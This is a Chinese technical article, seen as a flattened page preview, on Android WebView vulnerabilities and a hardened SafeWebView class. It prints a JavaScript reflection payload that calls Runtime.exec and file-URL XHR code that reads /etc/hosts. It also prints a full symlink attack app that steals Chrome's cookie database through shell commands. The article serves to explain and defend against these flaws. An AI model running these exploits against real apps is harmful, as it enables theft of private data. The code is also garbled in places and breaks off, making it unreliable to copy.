android WebView详解,常见漏洞详解和安全源码(下)_第1页
android WebView详解,常见漏洞详解和安全源码(下)_第2页
android WebView详解,常见漏洞详解和安全源码(下)_第3页
android WebView详解,常见漏洞详解和安全源码(下)_第4页
android WebView详解,常见漏洞详解和安全源码(下)_第5页
已阅读5页,还剩21页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

androidWebView详解,常见漏洞详解和安全源码(下)WebView常见漏洞WebView的漏洞也是不少,列举一些常见的漏洞,实时更新,如果有其他的常见漏洞知会一下我〜〜WebView任意代码执行漏洞已知的WebView任意代码执行漏洞有4个,较早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口会引起远程代码执行漏洞。接着是CVE-2013-4710,针对某些特定机型会存在addJavascriptInterfaceAPI引起的远程代码执行漏洞。之后是CVE-2014-1939爆出WebView中内置导出的“searchBoxJavaBridge_”JavaObject可能被利用,实现远程任意代码。再后来是CVE-2014-7224,类似于CVE-2014-1939,WebView内置导出“accessibility”和“accessibilityTraversal”两个JavaObject接口,可被利用实现远程任意代码执行。一般情况下,WebView使用JavaScript脚本的代码如下所示:WebViewmWebView=(WebView)findViewById(R.id.webView);WebSettingsmsetting=mWebView.getSettings();msetting.setJavaScriptEnabled(true);mWebView.addJavascriptInterface(newTestJsInterface(),“testjs”);mWebView.loadUrl(url);CVE-2012-6636和CVE-2013-4710Android系统为了方便APP中Java代码和网页中的Javascript脚本交互,在WebView控件中实现了addJavascriptInterface接口,如上面的代码所示,我们来看一下这个方法的官方描述:ThismethodcanbeusedtoallowJavaScripttocontrolthehostapplication.Thisisapowerfulfeature,butalsopresentsasecurityriskforappstargetingJELLY_BEANorearlier.AppsthattargetaversionlaterthanJELLY_BEANarestillvulnerableiftheapprunsonadevicerunningAndroidearlierthan4.2.ThemostsecurewaytousethismethodistotargetJELLY_BEAN_MR1andtoensurethemethodiscalledonlywhenrunningonAndroid4.2orlater.Withtheseolderversions,JavaScriptcouldusereflectiontoaccessaninjectedobject'spublicfields.UseofthismethodinaWebViewcontaininguntrustedcontentcouldallowanattackertomanipulatethehostapplicationinunintendedways,executingJavacodewiththepermissionsofthehostapplication.UseextremecarewhenusingthismethodinaWebViewwhichcouldcontainuntrustedcontent.JavaScriptinteractswithJavaobjectonaprivate,backgroundthreadofthisWebView.Careisthereforerequiredtomaintainthreadsafety.TheJavaobject'sfieldsarenotaccessible.ForapplicationstargetedtoAPIlevelLOLLIPOPandabove,methodsofinjectedJavaobjectsareenumerablefromJavaScript.可以看到,在JELLY_BEAN(android4.1)和JELLY_BEAN之前的版本中,使用这个方法是不安全的,网页中的JS脚本可以利用接口“testjs”调用App中的Java代码,而Java对象继承关系会导致很多Public的函数及getClass函数都可以在JS中被访问,结合Java的反射机制,攻击者还可以获得系统类的函数,进而可以进行任意代码执行,首先第一步WebView添加Javascript对象,并且添加一些权限,比如想要获取SD卡上面的信息就需要android.permission.WRITE_EXTERNAL_STORAGE;第二步JS中可以遍历window对象,找到存在getClass方法的对象,再通过反射的机制,得到Runtime对象,然后就可以调用静态方法来执行一些命令,比如访问文件的命令;第三步就是从执行命令后返回的输入流中得到字符串,比如执行完访问文件的命令之后,就可以得到文件名的信息了,有很严重暴露隐私的危险,核心JS代码:functionexecute(cmdArgs){for(varobjinwindow){if("getClass"inwindow[obj]){alert(obj);returnwindow[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);}}}所以当一些APP通过扫描二维码打开一个外部网页的时候,就可以执行这段js代码,漏洞在2013年8月被披露后,很多APP都中招,其中浏览器APP成为重灾区,但截至目前仍有很多APP中依然存在此漏洞,与以往不同的只是攻击入口发生了一定的变化。另外一些小厂商的APP开发团队因为缺乏安全意识,依然还在APP中随心所欲的使用addJavascriptInterface接口,明目张胆踩雷。出于安全考虑,Google在API17版本中就规定能够被调用的函数必须以@JavascriptInterface进行注解,理论上如果APP依赖的API为17(Android4.2)或者以上,就不会受该问题的影响,但在部分低版本的机型上,API17依然受影响,所以危害性到目前为止依旧不小。关于所有Android机型的占比,可以看看Google的Dashboards:VersionCodenameAPtDistribulion2.332.3.7Gingerbread101,0%-4.034.0.4IceCreamSandwich157.傀4.1.xJellyB&an164.0%4.2.x174.3185.7%4-AKitKat1922.6%50Lollipop2110.1%5.12523.3%5.0Marshmanow2379.6%70忡ougal24OS%截止2017/1/9日,可以看到android5.0之下的手机依旧不少,需要重视。漏洞的解决但是这个漏洞也是有解决方案的,上面的很多地方也都提到了这个漏洞,那么这个漏洞怎么去解决呢?这就需要用到onJsPrompt这个方法了,这里先给出解决这个漏洞的具体步骤,在下面的源码部分有修复这个漏洞的详细代码:继承WebView,重写addJavascriptInterface方法,然后在内部自己维护一个对象映射关系的Map,当调用addJavascriptInterface方法,将需要添加的JS接口放入这个Map中;每次当WebView加载页面的时候加载一段本地的JS代码:javascript:(functionJsAddJavascriptInterface_(){if(typeof(window.XXX_js_interface_name)!='undefined'){console.log('window.XXX_js_interface_nameisexist!!');}else{window.XXX_js_interface_name={XXX:function(arg0,arg1){returnprompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}))},};}})()这段JS代码定义了注入的格式,其中的XXX为注入对象的方法名字,终端和web端只要按照定义的格式去互相调用即可,如果这个对象有多个方法,则会注册多个window.XXX_js_interface_name块;然后在prompt中返回我们约定的字符串,当然这个字符串也可以自己重新定义,它包含了特定的标识符MyApp,后面包含了一串JSON字符串,它包含了方法名,参数,对象名等;当JS调用XXX方法的时候,就会调用到终端Native层的OnJsPrompt方法中,我们再解析出方法名,参数,对象名等,解析出来之后进行相应的处理,同时返回值也可以通过prompt返回回去;window.XXX_js_interface_name代表在window上声明了一个对象,声明的方式是:方法名:function(参数1,参数2)。还有一个问题是什么时候加载这段JS呢,在WebView正常加载URL的时候去加载它,但是会发现当WebView跳转到下一个页面时,之前加载的JS可能就已经无效了,需要再次加载,所以通常需要在一下几个方法中加载JS,这几个方法分别是onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged。 通过这几步,就可以简单的修复漏洞问题,但是还需要注意几个问题,需要过滤掉Object类的方法,由于通过反射的形式来得到指定对象的方法,所以基类的方法也可以得到,最顶层的基类就是Object,为了不把getClass等方法注入到JS中,我们需要把Object的共有方法过滤掉,需要过滤的方法列表如下:“getClass”,“hashCode”,“notify”,“notifyAll”,“equals”,A“toString”,“wait”,具体的代码实现可以看看下面的源码。CVE-2014-1939在2014年发现在Android4.4以下的系统中,webkit中默认内置了“searchBoxJavaBridge_”,代码位于“java/android/webkit/BrowserFrame.java”,该接口同样存在远程代码执行的威胁,所以就算没有通过addJavascriptInterface加入任何的对象,系统也会加入一个searchBoxJavaBridge_对象,解决办法就是通过removeJavascriptInterface方法将对象删除。CVE-2014-7224在2014年,研究人员DaoyuanWu和RockyChang发现,当系统辅助功能服务被开启时,在Android4.4以下的系统中,由系统提供的WebView组件都默认导出”accessibility”和”accessibilityTraversal”这两个接口,代码位于“android/webkit/AccessibilityInjector.java”,这两个接口同样存在远程任意代码执行的威胁,同样的需要通过removeJavascriptInterface方法将这两个对象删除。WebView密码明文存储漏洞WebView默认开启密码保存功能mWebView.setSavePassword(true)如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择”是”,密码会被明文保到/data/data//databases/webview.db中,这样就有被盗取密码的危险,所以需要通过WebSettings.setSavePassword(false)关闭密码保存提醒功能。WebView域控制不严格漏洞下,这个APP中有一个页面叫做WebViewActivity:publicclassWebViewActivityextendsActivity{privateWebViewwebView;publicvoidonCreate(BundlesavedInstanceState){super.onCreate(savedInstanceState);setContentView(R.layout.activity_webview);webView=(WebView)findViewById(R.id.webView);//webView.getSettings().setJavaScriptEnabled(true);(0)//webView.getSettings().setAllowFileAccess(false); (1)//webView.getSettings().setAllowFileAccessFromFileURLs(true); (2)//webView.getSettings().setAllowUniversalAccessFromFileURLs(true);(3)Intenti=getIntent();Stringurl=i.getData().toString();//url=file:///data/local/tmp/attack.htmlwebView.loadUrl(url);}}将该WebViewActivity设置为exported=”true”,当其他应用启动此Activity时,intent中的data直接被当作url来加载(假定传进来的url为file:///data/local/tmp/attack.html),通过其他APP使用显式ComponentName或者其他类似方式就可以很轻松的启动该WebViewActivity,我们知道因为Android中的sandbox,Android中的各应用是相互隔离的,在一般情况下A应用是不能访问B应用的文件的,但不正确的使用WebView可能会打破这种隔离,从而带来应用数据泄露的威胁,即A应用可以通过B应用导出的Activity让B应用加载一个恶意的file协议的url,从而可以获取B应用的内部私有文件,下面我们着重分析这几个API对WebView安全性的影响。setAllowFileAccessEnablesordisablesfileaccesswithinWebView.Fileaccessisenabledbydefault.Notethatthisenablesordisablesfilesystemaccessonly.Assetsandresourcesarestillaccessibleusingfile:///android_assetandfile:///android_res.通过这个API可以设置是否允许WebView使用File协议,Android中默认setAllowFileAccess(true),所以默认值是允许,在File域下,能够执行任意的JavaScript代码,APP嵌入的WebView未对HYPERLINKfile:///形式的URL做限制,所以使用file域加载的js能够使用同源策略跨域访问导致隐私信息泄露,针对IM类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是cookie信息泄露。如果不允许使用file协议,则不会存在下面将要讲到的各种跨源的安全威胁,但同时也限制了WebView的功能,使其不能加载本地的html文件。禁用file协议后,让WebViewActivity打开attack.html会得到如下图所示的输出,图中所示的文件是存在的,但WebView禁止加载此文件,移动版的Chrome默认禁止加载file协议的文件。m:nnn那么怎么解决呢,不要着急,继续往下看-setAllowFileAccessFromFileURLsSetswhetherJavaScriptrunninginthecontextofafileschemeURLshouldbeallowedtoaccesscontentfromotherfileschemeURLs.Toenablethemostrestrictive,andthereforesecurepolicy,thissettingshouldbedisabled.NotethatthevalueofthissettingisignoredifthevalueofgetAllowUniversalAccessFromFileURLs()istrue.Notetoo,thatthissettingaffectsonlyJavaScriptaccesstofileschemeresources.Otheraccesstosuchresources,forexample,fromimageHTMLelements,isunaffected.TopreventpossibleviolationofsamedomainpolicyonICE_CREAM_SANDWICHandearlierdevices,youshouldexplicitlysetthisvaluetofalse.ThedefaultvalueistrueforAPIlevelICE_CREAM_SANDWICH_MR1andbelow,andfalseforAPIlevelJELLY_BEANandabove.通过此API可以设置是否允许通过fileurl加载的Javascript读取其他的本地文件,这个设置在JELLY_BEAN(android4.1)以前的版本默认是允许,在JELLY_BEAN及以后的版本中默认是禁止的。当AllowFileAccessFromFileURLs设置为true时,对应上面的attack.html代码为:<script>functionloadXMLDoc(){vararm="file:///etc/hosts";varxmlhttp;if(window.XMLHttpRequest){xmlhttp=newXMLHttpRequest();}xmlhttp.onreadystatechange=function(){//alert("statusis"+xmlhttp.status);if(xmlhttp.readyState==4){console.log(xmlhttp.responseText);}}xmlhttp.open("GET",arm);xmlhttp.send(null);}loadXMLDoc();</script>,此时通过这段代码就可以成功读取/etc/hosts的内容,最显著的例子就是360手机浏览器的早期4.8版本,由于未对file域做安全限制,恶意APP调用360浏览器加载本地的攻击页面(比如恶意APP释放到sd卡上的一个html)后,就可以获取360手机浏览器下的所有私有数据,包括webviewCookiesChromium.db下的Cookie内容,但是如果设置为false时,上述脚本执行会导致如下错误,表示浏览器禁止从fileurl中的javascript读取其它本地文件:I/chromium(27749):[INFO:CONSOLE(0)]“XMLHttpRequestcannotloadfile:///etc/hosts.CrossoriginrequestsareonlysupportedforHTTP.”,source:file:///data/local/tmp/attack.htmlsetAllowUniversalAccessFromFileURLs通过此API可以设置是否允许通过fileurl加载的Javascript可以访问其他的源,包括其他的文件和http,https等其他的源。这个设置在JELLY_BEAN以前的版本默认是允许,在JELLY_BEAN及以后的版本中默认是禁止的。如果此设置是允许,则setAllowFileAccessFromFileURLs不起做用,此时修改attack.html的代码:<script>functionloadXMLDoc(){vararm="";varxmlhttp;if(window.XMLHttpRequest){xmlhttp=newXMLHttpRequest();}xmlhttp.onreadystatechange=function(){//alert("statusis"+xmlhttp.status);if(xmlhttp.readyState==4){console.log(xmlhttp.responseText);}xmlhttp.open("GET",arm);xmlhttp.send(null);}loadXMLDoc();</script>当AllowFileAccessFromFileURLs为true时,上述javascript可以成功读取的内容,但设置为false时,上述脚本执行会导致如下错误,表示浏览器禁止从fileurl中的javascript访问其他源的资源:I/chromium(28336):[INFO:CONSOLE(0)]“XMLHttpRequestcannotload/.OriginnullisnotallowedbyAccess-Control-Allow-Origin.”,source:file:///data/local/tmp/attack.html以上漏洞的初步解决方案通过以上的介绍,初步的方案是使用下面的代码来杜绝:setAllowFileAccess(true); //设置为false将不能加载本地html文件setAllowFileAccessFromFileURLs(false);setAllowUniversalAccessFromFileURLs(false);这样就可以让html页面加载本地的javascript,同时杜绝加载的js访问本地的文件或者读取其他的源,不是就OK了么,而且在JELLY_BEAN(android4.1)版本以及之后不是都默认为false了么,其实不然,我们继续往下看其他漏洞。使用符号链接跨源为了安全的使用WebView,AllowUniversalAccessFromFileURLs和AllowFileAccessFromFileURLs都应该设置为禁止,在JELLY_BEAN(android4.1)及以后的版本中这两项设置默认也是禁止的,但是即使把这两项都设置为false,通过fileURL加载的javascript仍然有方法访问其他的本地文件,通过符号链接攻击可以达到这一目的,前提是允许fileURL执行javascript。这一攻击能奏效的原因是无论怎么限制file协议的同源检查,其javascript都应该能访问当前的文件,通过javascript的延时执行和将当前文件替换成指向其它文件的软链接就可以读取到被符号链接所指的文件,具体攻击步骤见Chromiumbug144866,下面也贴出了代码和详解。因为Chrome最新版本默认禁用file协议,所以这一漏洞在最新版的Chrome中并不存在,Google也并没有修复它,但是大量使用WebView的应用和浏览器,都有可能受到此漏洞的影响,通过利用此漏洞,无特殊权限的恶意APP可以盗取浏览器的任意私有文件,包括但不限于Cookie、保存的密码、收藏夹和历史记录,并可以将所盗取的文件上传到攻击者的服务器。下图为通过fileURL读取某手机浏览器Cookie的截图:截图将Cookiealert出来了,实际情况可以上传到服务器,攻击的详细代码如下所示:publicclassMainActivityextendsAppCompatActivity{publicfinalstaticStringMY_PKG="com.example.safewebview";publicfinalstaticStringMY_TMP_DIR="/data/data/"+MY_PKG+"/tmp/";publicfinalstaticStringHTML_PATH=MY_TMP_DIR+"A"+Math.random()+".html";publicfinalstaticStringTARGET_PKG="com.android.chrome";publicfinalstaticStringTARGET_FILE_PATH="/data/data/"+TARGET_PKG+"/app_chrome/Default/Cookies";publicfinalstaticStringHTML="<body>"+"<u>Waitafewseconds.</u>"+"<script>"+"vard=document;"+"functiondoitjs(){"+"varxhr=newXMLHttpRequest;"+"xhr.onload=function(){"+"vartxt=xhr.responseText;"+"d.body.appendChild(d.createTextNode(txt));"+" alert(txt);"+"};"+"xhr.open('GET',d.URL);"+"xhr.send(null);"+"}"+"setTimeout(doitjs,8000);"+"</script>"+"</body>";@OverridepublicvoidonCreate(BundlesavedInstanceState){super.onCreate(savedInstanceState);doit();publicvoiddoit(){try{//CreateamaliciousHTMLcmdexec("mkdir"+MY_TMP_DIR);cmdexec("echo\""+HTML+"\">"+HTML_PATH);cmdexec("chmod-R777"+MY_TMP_DIR);Thread.sleep(1000);//ForceChrometoloadthemaliciousHTMLinvokeChrome("file://"+HTML_PATH);Thread.sleep(4000);//ReplacetheHTMLwithasymlinktoChrome'sCookiefilecmdexec("rm"+HTML_PATH);cmdexec("ln-s"+TARGET_FILE_PATH+""+HTML_PATH);}catch(Exceptione){}}publicvoidinvokeChrome(Stringurl){Intentintent=newIntent(Intent.ACTION_VIEW,Uri.parse(url));intent.setClassName(TARGET_PKG,TARGET_PKG+".Main");startActivity(intent);}publicvoidcmdexec(Stringcmd){try{String[]tmp=newString[]{"/system/bin/sh","-c",cmd};Runtime.getRuntime().exec(tmp);}catch(Exceptione){}}}这就是使用符号链接跨源获取私有文件的代码,应该不难读懂,首先把恶意的js代码输出到攻击应用的目录下,随机命名为xx.htm1,并且修改该目录的权限,修改完成之后休眠Is,让文件操作完成,完成之后通过系统的Chrome应用去打开这个xx.html文件,然后等待4s让Chrome加载完成该html,最后将该html删除,并且使用ln-s命令为Chrome的Cookie文件创建软连接,注意,在这条命令执行之前xx.htm1是不存在的,执行完这条命令之后,就生成了这个文件,并且将Cookie文件链接到了xx.html上,于是就可以通过链接来访问Chrome的Cookie了。setJavaScriptEnabled通过此API可以设置是否允许WebView使用JavaScript,默认是不允许,但很多应用,包括移动浏览器为了让WebView执行http协议中的JavaScript,都会主动设置允许WebView执行JavaScript,而又不会对不同的协议区别对待,比较安全的实现是如果加载的url是http或https协议,则启用JavaScript,如果是其它危险协议,比如是file协议,则禁用JavaScript。如果是file协议,禁用javascript可以很大程度上减小跨源漏洞对WebView的威胁,但是此时禁用JavaScript的执行并不能完全杜绝跨源文件泄露。例如,有的应用实现了下载功能,对于加载不了的页面,会自动下载到sd卡中,由于sd卡中的文件所有应用都可以访问,于是可以通过构造一个fileURL指向被攻击应用的私有文件,然后用此URL启动被攻击应用的WebActivity,这样由于该WebActivity无法加载该文件,就会将该文件下载到sd卡下面,然后就可以从sd卡上读取这个文件了,当然这种应用比较少,这个也算是应用自身无意产生的一个漏洞吧。以上漏洞的解决方案针对WebView域控制不严格漏洞的安全建议如下:对于不需要使用file协议的应用,禁用file协议;对于需要使用file协议的应用,禁止file协议加载JavaScript。所以两种解决办法,第一种类似Chrome,直接禁止file协议:setAllowFileAccess(false); //设置为false将不能加载本地html文件setAllowFileAccessFromFileURLs(false);setAllowUniversalAccessFromFileURLs(false);第二种是根据不同情况不同处理(无法避免应用对于无法加载的页面下载到sd卡上这个漏洞):setAllowFileAccess(true); //设置为false将不能加载本地html文件setAllowFileAccessFromFileURLs(false);setAllowUniversalAccessFromFileURLs(false);if(url.startsWith("file://"){setJavaScriptEnabled(false);}else{setJavaScriptEnabled(true);}开发中遇见的坑这里记录一下开发中遇到的一些坑和解决办法:loadData()方法我们可以通过使用WebView.loadData(Stringdata,StringmimeType,Stringencoding)方法来加载一整个HTML页面的一小段内容,第一个就是我们需要WebView展示的内容,第二个是我们告诉WebView我们展示内容的类型,一般,第三个是字节码,但是使用的时候,这里会有一些坑,我们来看一个简单的例子:Stringhtml=newString("vh3>我是loadData()的标题</h3>vp>  我是他的内容</p>");webView.loadData(html,"text/html","UTF-8");这里的逻辑很简单,加载一个简单的富文本标签,我们看看运行后的效果:勒E£Q6:09WebViewProjecta&'Rae~_loadDatar4*i^%?psHae^eCae"'ae八加-阴億仁冶®*书可以注意到这里显示成乱码了,可是明明已经指定了编码格式为UTF-8啊,可是这就是使用的坑,我们需要将代码进行修改:Stringhtml=newString("<h3>我是loadData()的标题</h3><p>  我是他的内容</p>");webView.loadData(html,"text/html;charset=UTF-8","null");我们再来看看显示效果:<r*n滾“ 06:12WebViewProject我是toadData()的标题我宦他的内容!这样我们就可以看到正确的内容了,Google还指出,在我们这种加载的方法下,我们的Data数据里不能出现'#',‘%',‘\',‘?'这四个字符,如果出现了我们要用%23,%25,%27,%3f对应来替代,网上列举了未将特定字符转义过程中遇到的异常现象:%会报找不到页面错误,页面全是乱码。#会让你的goBack失效,但canGoBAck是可以使用的,于是就会产生返回按钮生效,但不能返回的情况。\和?在转换时,会报错,因为它会把\当作转义符来使用,如果用两级转义也不生效。我们在使用loadData()时,就意味着需要把所有的非法字符全部转换掉,这样就会给运行速度带来很大的影响,因为在使用时,很多情况下页面stytle中会使用很多‘%'号,页面的数据越多,运行的速度就会越慢。页面空白当WebView嵌套在ScrollView里面的时候,如果WebView先加载了一个高度很高的网页,然后加载了一个高度很低的网页,就会造成WebView的高度无法自适应,底部出现大量空白的情况出现,内存泄漏WebView的内存泄漏是一个比较大的问题,尤其是当加载的页面比较庞大的时候,解决方法网上也比较多,但是看情况大部分都不是能彻底根治的,这里说一下QQ和微信的做法,每当打开一个WebView界面的时候,会开启一个新进程,在页面退出之后通过System.exit(0)关闭这个进程,这样就不会存在内存泄漏的问题了,setBuiltInZoomControls引起的Crash当使用mWebView.getSettings().setBuiltInZoomControls(true)启用该设置后,用户一旦触摸屏幕,就会出现缩放控制图标。这个图标过上几秒会自动消失,但在3.0之上4.4系统之下很多手机会出现这种情况:如果图标自动消失前退出当前Activity的话,就会发生ZoomButton找不到依附的Window而造成程序崩溃,解决办法很简单就是在Activity的onDestory方法中调用mWebView.setVisibility(View.GONE);方法,手动将其隐藏,就不会崩溃了。后台无法释放JS导致耗电如果WebView加载的的html里有一些JS一直在执行比如动画之类的东西,如果此刻WebView挂在了后台,这些资源是不会被释放,用户也无法感知,导致一直占有CPU增加耗电量,如果遇到这种情况,在onStop和onResume里分别把setJavaScriptEnabled()给设置成false和true即可。源码及解析来看看解决上述问题的WebView源码:publicclassSafeWebViewextendsWebView{privatestaticfinalbooleanDEBUG=true;privatestaticfinalStringVAR_ARG_PREFIX="arg";privatestaticfinalStringMSG_PROMPT_HEADER="MyApp:";/***对象名*/privatestaticfinalStringKEY_INTERFACE_NAME="obj";/***函数名*/privatestaticfinalStringKEY_FUNCTION_NAME="func";/***参数数组*/privatestaticfinalStringKEY_ARG_ARRAY="args";/***要过滤的方法数组*/privatestaticfinalString[]mFilterMethods={"getClass","hashCode","notify","notifyAll","equals","toString","wait",};/***缓存addJavascriptInterface的注册对象*/privateHashMap<String,Object>mJsInterfaceMap=newHashMap<>();/***缓存注入到JavaScriptContext的js脚本*/privateStringmJsStringCache=null;publicSafeWebView(Contextcontext,AttributeSetattrs,intdefStyle){super(context,attrs,defStyle);init();}publicSafeWebView(Contextcontext,AttributeSetattrs){super(context,attrs);init();}publicSafeWebView(Contextcontext){super(context);init();/***WebView初始化,设置监听,删除部分Android默认注册的JS接口*/privatevoidinit(){setWebChromeClient(newWebChromeClientEx());setWebViewClient(newWebViewClientEx());safeSetting();removeUnSafeJavascriptImpl();}/***安全性设置*/privatevoidsafeSetting(){getSettings().setSavePassword(false);getSettings().setAllowFileAccess(false);〃设置为false将不能加载本地 html文件if(Build.VERSION.SDK_INT>=16){getSettings().setAllowFileAccessFromFileURLs(false);getSettings().setAllowUniversalAccessFromFileURLs(false);}}/***检查SDK版本是否>=3.0(API11)*/privatebooleanhasHoneycomb(){returnBuild.VERSION.SDK_INT>=Build.VERSION_CODES.HONEYCOMB;}/***检查SDK版本是否>=4.2(API17)*/privatebooleanhasJellyBeanMR1(){return Build.VERSION.SDK_INT >=Build.VERSION_CODES.JELLY_BEAN_MR1;}/***3.0~4.2之间的版本需要移除Google注入的几个对象*/@SuppressLint("NewApi")privatebooleanremoveUnSafeJavascriptImpl(){if(hasHoneycomb()&&!hasJellyBeanMR1()){super.removeJavascriptInterface("searchBoxJavaBridge_");super.removeJavascriptInterface("accessibility");super.removeJavascriptInterface("accessibilityTraversal");returntrue;}returnfalse;}@OverridepublicvoidsetWebViewClient(WebViewClientclient){if(hasJellyBeanMR1()){super.setWebViewClient(client);}else{if(clientinstanceofWebViewClientEx){super.setWebViewClient(client);}elseif(client==null){super.setWebViewClient(client);}else{thrownewIllegalArgumentException("the\'client\'mustbeasubclassofthe\'WebViewClientEx\'");}}}@OverridepublicvoidsetWebChromeClient(WebChromeClientclient){if(hasJellyBeanMR1()){super.setWebChromeClient(client);}else{if(clientinstanceofWebChromeClientEx){super.setWebChromeClient(client);}elseif(client==null){super.setWebChromeClient(client);}else{thrownewIllegalArgumentException("the\'client\'mustbeasubclassofthe\'WebChromeClientEx\'");}/***如果版本大于4.2,漏洞已经被解决,直接调用基类的addJavascriptInterface*如果版本小于4.2,则使用map缓存待注入对象*/@SuppressLint("JavascriptInterface")@OverridepublicvoidaddJavascriptInterface(Objectobj,StringinterfaceName){if(TextUtils.isEmpty(interfaceName)){return;}//如果在4.2以上,直接调用基类的方法来注册if(hasJellyBeanMR1()){super.addJavascriptInterface(obj,interfaceName);}else{mJsInterfaceMap.put(interfaceName,obj);}}/***删除待注入对象,*如果版本为4.2以及4.2以上,则使用父类的removeJavascriptInterface*如果版本小于4.2,则从缓存map中删除注入对象*/@SuppressLint("NewApi")publicvoidremoveJavascriptInterface(StringinterfaceName){if(hasJellyBeanMR1()){super.removeJavascriptInterface(interfaceName);}else{mJsInterfaceMap.remove(interfaceName);//每次remove之后,都需要重新构造JS注入mJsStringCache=null;injectJavascriptInterfaces();}}/***如果WebView是SafeWebView类型,则向JavaScriptContext注入对象确保WebView是有安全机制的*/privatevoidinjectJavascriptInterfaces(WebViewwebView){if(webViewinstanceofSafeWebView){injectJavascriptInterfaces();/***注入我们构造的JS*/privatevoidinjectJavascriptInterfaces(){if(!TextUtils.isEmpty(mJsStringCache)){loadUrl(mJsStringCache);return;}mJsStringCache=genJavascriptInterfacesString();loadUrl(mJsStringCache);}/***根据缓存的待注入java对象,生成映射的JavaScript代码,也就是桥梁(SDK4.2之前通过反射生成)*/privateStringgenJavascriptInterfacesString(){if(mJsInterfaceMap.size()==0){returnnull;}/**要注入的JS的格式,其中XXX为注入的对象的方法名,例如注入的对象中有一个方法A,那么这个XXX就是A如果这个对象中有多个方法,则会注册多个window.XXX_js_interface_name块,我们是用反射的方法遍历*注入对象中的带有@JavaScripterInterface标注的方法**javascript:(functionJsAddJavascriptInterface_(){if(typeof(window.XXX_js_interface_name)!='undefined'){console.log('window.XXX_js_interface_nameisexist!!');*}else{window.XXX_js_interface_name={XXX:function(arg0,arg1){returnprompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}))},};*})()*/Iterator<Map.Entry<String,Object>>iteratormJsInterfaceMap.entrySet().iterator();//HEADStringBuilderscript=newStringBuilder();script.append("javascript:(functionJsAddJavascriptInterface_(){");//遍历待注入java对象,生成相应的js对象try{while(iterator.hasNext()){Map.Entry<String,Object>entry=iterator.next();StringinterfaceName=entry.getKey();Objectobj=entry.getValue();//生成相应的js方法createJsMethod(interfaceName,obj,script);}}catch(Exceptione){e.printStackTrace();}//Endscript.append("})()");returnscript.toString();}/**根据待注入的java对象,生成js方法*@paraminterfaceName对象名@paramobj 待注入的java对象@paramscript js代码*/privatevoidcreateJsMethod(StringinterfaceName,Objectobj,StringBuilderscript){if(TextUtils.isEmpty(interfaceName)||(null==obj)||(null==script)){return;}Class<?extendsObject>objClass=obj.getClass();script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");if(DEBUG){script.append("console.log('window."+interfaceName+script.append(""_js_interface_nameisexist!!');");}script.append("}else{");script.append("window.").append(interfaceName).append("={");//通过反射机制,添加java对象的方法Method]]methods=objClass.getMethods();for(Methodmethod:methods){StringmethodName=method.getName();//过滤掉Object类的方法,包括getClass()方法,因为在Js中就是通过getClass()方法来得到Runtime实例if(filterMethods(methodName)){continue;}script.append(" ").append(methodName).append(":function(");//添加方法的参数intargCount=method.getParameterTypes().length;if(argCount>0){intmaxCount=argCount-1;for(inti=0;i<maxCount;++i){script.append(VAR_ARG_PREFIX).append(i).append(",");}script.append(VAR_ARG_PREFIX).append(argCount-1);}script.append("){");//Addimplementationif(method.getReturnType()!=void.class){script.append(" return").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");}else{script.append("prompt('").append(MSG_PROMPT_HEADER).append("'+");}//BeginJSONscript.append("JSON.stringify({");script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");script.append(KEY_ARG_ARRAY).append(":[");//添加参数到JSON串中if(argCount>0){intmax=argCount-1;for(inti=0;i<max;i++){script.append(VAR_ARG_PREFIX).append(i).append(",");}script.append(VAR_ARG_PREFIX).append(max);}//EndJSONscript.append("]})");//Endpromptscript.append(");");//Endfunction},");script.append("},");}//Endofobjscript.append("};");//Endofiforelsescript.append("}");}/***检查是否是被过滤的方法*/privatebooleanfilterMethods(StringmethodName){for(Stringmethod:mFilterMethods){if(method.equals(methodName)){returntrue;}}returnfalse;}/**利用反射,调用java对象的方法。<p>从缓存中取出key=interfaceName的java对象,并调用其methodName方法*@paramresult@paraminterfaceName对象名@parammethodName方法名

*@paramargs*@paramargs*@return参数列表*/privatebooleaninvokeJSInterfaceMethod(JsPromptResultresult,StringinterfaceName,StringmethodName,Object[]args){booleansucceed=false;finalObjectobj=mJsInterfaceMap.get(interfaceName);if(null==obj){result.cancel();returnfalse;}Class<?>[]parameterTypes=null;intcount=0;if(args!=null){count=args.length;}if(count>0){parameterTypes=newClass[count];for(inti=0;i<count;++i){parameterTypes[i]=getClassFromJsonObject(args[i]);}}try{Methodmethod=obj.getClass().getMethod(methodName,parameterTypes);ObjectreturnObj=method.invoke(obj,args);//执行接口调用booleanisVoid=returnObj==null||returnObj.getClass()==void.class;StringreturnValue=isVoid?"":returnObj.toString();result.confirm(returnValue);//通过prompt返回调用结果succeed=true;}catch(NoSuchMethodExceptione){e.printStackTrace();}catch(Exceptione){e.printStackTrace();}result.cancel();returnsucceed;}/****@paramobj*@return*/privateClass<?>getClassFromJsonObject(Objectobj){Class<?>cls=obj.getClass();//js对象只支持intbooleanstring三种类型if(cls==Integer.class){cls=Integer.TYPE;}elseif(cls==Boolean.class){cls=Boolean.TYPE;}else{cls=String.class;}returncls;}/***解析JavaScript调用prompt的参数message,提取出对象名、方法名,以及参数列表,再利用反射,调用java对象的方法。*@paramview@paramurl@param messageMyApp:{"obj":"jsInterface","func":"onButtonClick","args":['从JS中传递过来的文本!!!”]}@paramdefaultValue@paramresult@return*/privatebooleanhandleJsInterface(WebViewview,Stringurl,Stringmessage,St

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
